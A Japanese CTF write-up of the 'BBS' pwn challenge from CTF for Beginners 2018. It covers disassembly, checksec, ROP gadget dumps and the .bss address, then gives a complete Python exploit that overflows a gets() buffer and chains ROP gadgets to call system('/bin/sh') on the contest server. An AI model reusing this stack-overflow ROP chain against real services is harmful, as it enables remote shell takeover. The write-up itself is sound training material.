CTF for Beginners 2018 のWrite up [BBS(Pwn)]
まずは動作確認から。
$ ./bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 Input Content : testes ============================== 2018年 6月 19日 火曜日 15:09:40 JST testes ============================== $
文字列を入力できて、入力すると点線とdateと入力した値が出力される。
続いてmain関数のアセンブリを見てみる。
00000000004006a1 <main>: 4006a1: 55 push %rbp 4006a2: 48 89 e5 mov %rsp,%rbp 4006a5: 48 83 c4 80 add $0xffffffffffffff80,%rsp 4006a9: bf 88 07 40 00 mov $0x400788,%edi 4006ae: b8 00 00 00 00 mov $0x0,%eax 4006b3: e8 98 fe ff ff callq 400550 <printf@plt> 4006b8: 48 8d 45 80 lea -0x80(%rbp),%rax 4006bc: 48 89 c7 mov %rax,%rdi 4006bf: b8 00 00 00 00 mov $0x0,%eax 4006c4: e8 a7 fe ff ff callq 400570 <gets@plt> 4006c9: bf a0 07 40 00 mov $0x4007a0,%edi 4006ce: e8 4d fe ff ff callq 400520 <puts@plt> 4006d3: bf c1 07 40 00 mov $0x4007c1,%edi 4006d8: e8 63 fe ff ff callq 400540 <system@plt> 4006dd: 48 8d 45 80 lea -0x80(%rbp),%rax 4006e1: 48 89 c6 mov %rax,%rsi 4006e4: bf c8 07 40 00 mov $0x4007c8,%edi 4006e9: b8 00 00 00 00 mov $0x0,%eax 4006ee: e8 5d fe ff ff callq 400550 <printf@plt> 4006f3: b8 00 00 00 00 mov $0x0,%eax 4006f8: c9 leaveq 4006f9: c3 retq 4006fa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
pltにはprintf、gets、puts、system関数があることがわかります。
またバッファは0x80、つまり128byte確保されておりrbpの8byteも含めてOffsetは136byteです。
次に一応働いているセキュリティをgdb-pedaで調べます。
checksecコマンドを打つと、
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
NXがENABLEDになっています。NXはスタック上のコードが実行不可能になる機能ですが今回の場合、スタック上には「命令のアドレス」を書いているだけなので問題ないです。
以上を踏まえて、流れとしては
1. Offsetの136byteを'a'などで埋める。
2. rdiをPOPして、rdiにアドレスが固定で書き込み権限がある.bssの先頭アドレスを入れる。
3. gets関数を呼び出してgets(bss_addr)を実行し入力を待つ。
4. .bssに("bin/sh")を入力してsystem("bin/sh")を実行させる
というようになっています。
$gdb-pedaでdumpropでROPガジェットを探します。
gdb-peda$ dumprop Warning: this can be very slow, do not run for large memory range Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ... 0x40074f: ret 0x40065a: repz ret 0x4006f8: leave; ret 0x4005f0: pop rbp; ret 0x400763: pop rdi; ret 0x400762: pop r15; ret 0x4006f7: add cl,cl; ret 0x40076f: add bl,dh; ret 0x4004fe: add esp,0x8; ret 0x4004fd: add rsp,0x8; ret 0x400659: add ebx,esi; ret 0x40069e: nop; pop rbp; ret 0x40074c: fmul [rax-0x7d]; ret 0x400761: pop rsi; pop r15; ret 0x400760: pop r14; pop r15; ret 0x400658: add [rcx],al; repz ret 0x40076e: add [rax],al; repz ret 0x400635: nop [rax]; pop rbp; ret 0x4006f3: mov eax,0x0; leave; ret 0x4006f6: add [rax],al; leave; ret 0x4005ee: add [rax],al; pop rbp; ret 0x4006f5: add [rax],al; add cl,cl; ret 0x40076d: add [rax],al; add bl,dh; ret 0x400768: nop [rax+rax*1+0x0]; repz ret 0x400775: sub esp,0x8; add rsp,0x8; ret
次に.bssの先頭アドレスを探します。これはobjdump -h か gdb-pedaのinfo filesで見ます。
gdb-peda$ info files Symbols from "/home/r30n/workspace/ctf/ctf_4b_2018/bbs/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7". Local exec file: `/home/r30n/workspace/ctf/ctf_4b_2018/bbs/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7', file type elf64-x86-64. Entry point: 0x400590 0x0000000000400238 - 0x0000000000400254 is .interp 0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag 0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id 0x0000000000400298 - 0x00000000004002bc is .gnu.hash 0x00000000004002c0 - 0x0000000000400398 is .dynsym 0x0000000000400398 - 0x00000000004003f6 is .dynstr 0x00000000004003f6 - 0x0000000000400408 is .gnu.version 0x0000000000400408 - 0x0000000000400428 is .gnu.version_r 0x0000000000400428 - 0x0000000000400458 is .rela.dyn 0x0000000000400458 - 0x00000000004004e8 is .rela.plt 0x00000000004004e8 - 0x0000000000400502 is .init 0x0000000000400510 - 0x0000000000400580 is .plt 0x0000000000400580 - 0x0000000000400588 is .plt.got 0x0000000000400590 - 0x0000000000400772 is .text 0x0000000000400774 - 0x000000000040077d is .fini 0x0000000000400780 - 0x00000000004007ec is .rodata 0x00000000004007ec - 0x0000000000400828 is .eh_frame_hdr 0x0000000000400828 - 0x000000000040093c is .eh_frame 0x0000000000600e08 - 0x0000000000600e18 is .init_array 0x0000000000600e18 - 0x0000000000600e20 is .fini_array 0x0000000000600e20 - 0x0000000000600e28 is .jcr 0x0000000000600e28 - 0x0000000000600ff8 is .dynamic 0x0000000000600ff8 - 0x0000000000601000 is .got 0x0000000000601000 - 0x0000000000601048 is .got.plt 0x0000000000601048 - 0x0000000000601058 is .data 0x0000000000601058 - 0x0000000000601068 is .bss
必要なアドレスが揃ったのでプログラムを書きます。
# -*- coding: utf-8 -*- import socket, struct, telnetlib def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] def p64(a): return struct.pack("<Q",a) def u64(a): return struct.unpack("<Q",a)[0] s, f = sock("pwn1.chall.beginners.seccon.jp", 18373) buf = '' buf += 'A' * 0x88 buf += p64(0x400763) # pop rdi; ret; addr buf += p64(0x601058) # buffer_addr (bss) buf += p64(0x400570) # gets addr buf += p64(0x400763) # pop rdi; ret; addr buf += p64(0x601058) # buffer_addr buf += p64(0x400540) # system addr f.write(buf + '\n') buf = '/bin/sh' f.write(buf + '\n') shell(s)
プログラムを実行してlsコマンドを打つとflag.txtが見つかりcatで中身を見るとフラグをゲット出来ます。